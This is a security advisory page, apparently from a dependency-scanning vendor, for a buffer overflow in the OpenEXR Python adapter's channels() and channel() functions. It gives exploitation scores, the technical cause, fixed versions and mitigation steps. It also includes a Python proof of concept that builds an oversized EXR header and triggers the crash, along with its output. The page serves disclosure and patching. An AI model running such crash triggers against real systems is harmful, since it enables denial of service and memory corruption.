Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-vh63-9mqx-wmjr openexr

HIGH

GHSA-vh63-9mqx-wmjr is a high-severity (CVSS 7.8) CWE-120 vulnerability in openexr. A fix is available for openexr — see the affected versions and patch details below.

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Also known asCVE-2025-64182PYSEC-2026-2851
Published
Apr 6, 2026
Updated
Jul 13, 2026
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vh63-9mqx-wmjr.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vh63-9mqx-wmjr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

3 pkgs affected
🐍openexr🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

  • In channel():

    • Width and height are derived from the header dataWindow using int.

    • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

    • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

    • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

    • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
      On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

  • In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopenexr3.2.0&&< 3.2.53.2.5pip install --upgrade 'openexr==3.2.5'
🐍PyPIopenexr3.3.0&&< 3.3.63.3.6pip install --upgrade 'openexr==3.3.6'
🐍PyPIopenexr3.4.0&&< 3.4.33.4.3pip install --upgrade 'openexr==3.4.3'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update openexr to 3.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vh63-9mqx-wmjr is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vh63-9mqx-wmjr can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vh63-9mqx-wmjr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (
O3 Security · Impact-Aware SCA

Is GHSA-vh63-9mqx-wmjr in your dependencies?

O3 Security finds GHSA-vh63-9mqx-wmjr across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-vh63-9mqx-wmjr: openexr (High 7.8) | O3 Security